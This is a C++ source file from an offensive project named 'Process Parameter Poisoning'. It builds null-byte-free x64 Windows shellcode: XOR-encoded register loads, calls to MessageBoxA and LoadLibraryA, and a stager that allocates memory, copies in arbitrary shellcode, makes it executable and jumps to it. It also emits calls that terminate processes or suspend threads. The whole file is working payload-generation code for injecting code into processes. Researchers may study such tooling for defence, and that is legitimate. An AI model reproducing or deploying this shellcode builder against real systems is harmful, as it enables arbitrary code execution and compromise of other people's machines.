/**
 * Authors: Max Hirschberger & Ogulcan Ugur
 * Project: Process Parameter Poisoning
 * Notes: Built with ❤️ and undefined behavior.
 */

#include "ShellCodeWriter.h"
#include "WinApiResolver.h"

ShellCodeWriter::ShellCodeWriter() : m_total_consumed_stack_bytes(0) {}

std::vector<uint8_t> ShellCodeWriter::GetShellCodeBytes() { return m_sc_bytes; }

void ShellCodeWriter::CallMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
    int title_pos = 0;
    size_t title_size = strlen(lpCaption);
    int text_pos = title_size + 1;
    size_t text_size = strlen(lpText);

    // Combine both text and title into one string
    std::vector<uint8_t> title_text_combined;
    title_text_combined.insert(title_text_combined.end(), lpCaption, lpCaption + title_size + 1);
    title_text_combined.insert(title_text_combined.end(), lpText, lpText + text_size + 1);

    PushBuffer(title_text_combined.data(), title_text_combined.size());
    int stack_pos_buf = m_total_consumed_stack_bytes;

    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;

    // Populate arg registers
    SetArgRegister(0, (uint64_t)hWnd);
    SetArgRegisterStackRelative(1, (m_total_consumed_stack_bytes - stack_pos_buf) + text_pos); // lpText
    SetArgRegisterStackRelative(2, (m_total_consumed_stack_bytes - stack_pos_buf) + title_pos); // lpCaption
    SetArgRegister(3, uType);

    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.MessageBoxA);
    FreeStack();
}
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
    PushBuffer(module, strlen(module) + 1);
    int stack_pos_buf = m_total_consumed_stack_bytes;

    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;

    // Populate arg registers
    SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_buf));

    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.LoadLibraryA);
}
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    PushBuffer(shellcode.data(), shellcode.size()); // 1. Pushes the shellcode to the stack
    int stack_pos_user_sc = m_total_consumed_stack_bytes;

    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;

    { // 2. Allocates READWRITE memory
        // VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);

        SetArgRegister(0, NULL);
        SetArgRegister(1, shellcode.size());
        SetArgRegister(2, MEM_COMMIT);
        SetArgRegister(3, PAGE_READWRITE);

        WinApiResolver winapi = WinApiResolver::GetInstance();
        Call((uint64_t)winapi.VirtualAlloc);
    }

    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest

        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest

        SetRAX(shellcode.size()); // User Shellcode size
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; User Shellcode size

        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // User Shellcode

        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr

        const char* copy_sc = "\x8A\x01"     // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }

    { // 4. Changes protection of the newly allocated area to EXECUTE_READ


        // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src);
        AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
        SetArgRegister(1, shellcode.size());
        SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect
        SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - stack_pos_user_sc)); // Will overwrite the shellcode, but that is ok :)

        WinApiResolver winapi = WinApiResolver::GetInstance();
        Call((uint64_t)winapi.VirtualProtect);
    }

    if ((m_total_consumed_stack_bytes % 16))
    {
        AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
        m_total_consumed_stack_bytes += 8;
    }

    // 5. Jumps to the newly allocated area
    AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}

void ShellCodeWriter::CallTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
    FreeStack();
}

void ShellCodeWriter::CallSuspendThread(HANDLE ThreadHandle, PULONG PreviousSuspendCount)
{
    SetArgRegister(0, (uint64_t)ThreadHandle);
    SetArgRegister(1, (uint64_t)PreviousSuspendCount);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtSuspendThread);
    FreeStack();
}

void ShellCodeWriter::AppendShellCode(const char* shellcode, size_t size)
{
    m_sc_bytes.insert(m_sc_bytes.end(), shellcode, shellcode + size);
}


void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] = "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                            // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}


void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    for (int i = 0; i < 8; i++) {
        if (((uint8_t*)(&value))[i] == 0x01) {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

void ShellCodeWriter::PushValue(uint64_t value)
{
    SetRAX(value);
    m_sc_bytes.push_back(0x50); // push rax
    m_total_consumed_stack_bytes += 8;
}

void ShellCodeWriter::PushBuffer(const void* buf, size_t size)
{
    std::vector<uint64_t> v_array;
    uint64_t v = 0;
    for (size_t i = 0; i < size; i++)
    {
        if (i > 0 && (i % 8) == 0)
        {
            v_array.push_back(v);
            v = 0;
        }
        v >>= 8;
        v |= ((uint64_t)(((uint8_t*)buf)[i]) << 56);
    }
    v >>= (8 * (8 - (size % 8)));
    v_array.push_back(v);

    for (int i = 0; i < v_array.size(); i++)
    {
        PushValue(v_array[v_array.size() - i - 1]);
    }
}

void ShellCodeWriter::SetArgRegister(int arg_index, uint64_t value)
{
    const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
    const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
    if (arg_index < 0 || arg_index > 3)
    {
        printf("[-] Bad argid %d, expected 0-3\n", arg_index);
        return;
    }
    SetRAX(value);
    m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
    m_sc_bytes.push_back(0x89);
    m_sc_bytes.push_back(ins_bytes3[arg_index]);
}

void ShellCodeWriter::SetArgRegisterStackRelative(int arg_index, int stack_relative_offset)
{
    const uint8_t ins_bytes0[] = { 0x48, 0x48, 0x49, 0x49 };
    const uint8_t ins_bytes3[] = { 0xc1, 0xc2, 0xc0, 0xc1 };
    if (arg_index < 0 || arg_index > 3)
    {
        printf("[-] Bad argid %d, expected 0-3\n", arg_index);
        return;
    }
    SetRAX(stack_relative_offset);
    AppendShellCode("\x48\x8D\x04\x04", 4); // lea rax, [rsp+rax]
    m_sc_bytes.push_back(ins_bytes0[arg_index]); // mov r<X>, rax
    m_sc_bytes.push_back(0x89);
    m_sc_bytes.push_back(ins_bytes3[arg_index]);
}

void ShellCodeWriter::Call(uint64_t pfn)
{
    PushValue(pfn);
    bool needs_align = (m_total_consumed_stack_bytes % 16);
    if (needs_align)
    {
        AppendShellCode("\x50", 1); // push rax
        m_total_consumed_stack_bytes += 8;
    }
    AppendShellCode("\x58\xff\xd0", 3); // pop rax; call rax;
    m_total_consumed_stack_bytes -= 8;
    if (needs_align)
    {
        AppendShellCode("\x41\x5F", 2); // pop r15
        m_total_consumed_stack_bytes -= 8;
    }
}

void ShellCodeWriter::FreeStack()
{
    if (m_total_consumed_stack_bytes < 0x80)
    {
        AppendShellCode("\x48\x83\xC4", 3); // add rsp, X
        m_sc_bytes.push_back(m_total_consumed_stack_bytes);
    }
    AppendShellCode("\x49\x89\xC7", 3); // mov r15, rax
    SetRAX(m_total_consumed_stack_bytes);
    AppendShellCode("\x48\x01\xC4", 3); // add rsp, rax
    AppendShellCode("\x4C\x89\xF8", 3); // mov rax, r15
    m_total_consumed_stack_bytes = 0;
}